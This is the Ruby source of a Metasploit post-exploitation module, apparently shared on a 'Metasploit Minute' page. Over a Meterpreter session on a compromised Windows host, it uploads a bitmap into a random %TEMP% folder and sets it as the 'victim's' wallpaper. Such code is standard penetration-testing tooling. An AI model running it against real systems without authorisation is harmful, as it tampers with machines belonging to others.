Set Wallpaper Metasploit Post Module from Metasploit Minute

set_wallpaper.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Post

  include Msf::Post::File
  include Msf::Post::Windows::Registry

  def initialize(info={})
    super( update_info( info,
      'Name'          => 'Wallpaper Set',
      'Description'   => %q{
          This module sets a users wallpaper and then activates it
      },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'mubix'],
      'Platform'      => [ 'win' ],
      'SessionTypes'  => [ 'meterpreter' ]
    ))

    register_options(
      [
        OptPath.new('BMP', [ true, 'Path to the file to upload and set' ]),
        OptString.new('WALLNAME', [false, 'Name of wallpaper on victim'])
      ], self.class)
  end

  def run
    refresh_cmd = "rundll32.exe user32.dll,UpdatePerUserSystemParameters"
    tempdir = expand_path("%TEMP%") + "\\" + Rex::Text.rand_text_alpha(rand(8)+8)
    vprint_status("Creating a temp dir for wallpaper #{tempdir}...")
    session.fs.dir.mkdir(tempdir)
    vprint_status(" >> Uploading wallpaper...")
    path = datastore['WALLNAME'] ? datastore['WALLNAME'] : "kerby.bmp"
    write_file(tempdir + "\\" +path,::File.read(datastore['BMP']))
    session.railgun.user32.SystemParametersInfoA(20, 0, tempdir + "\\"+ path, 0x03)
  end
end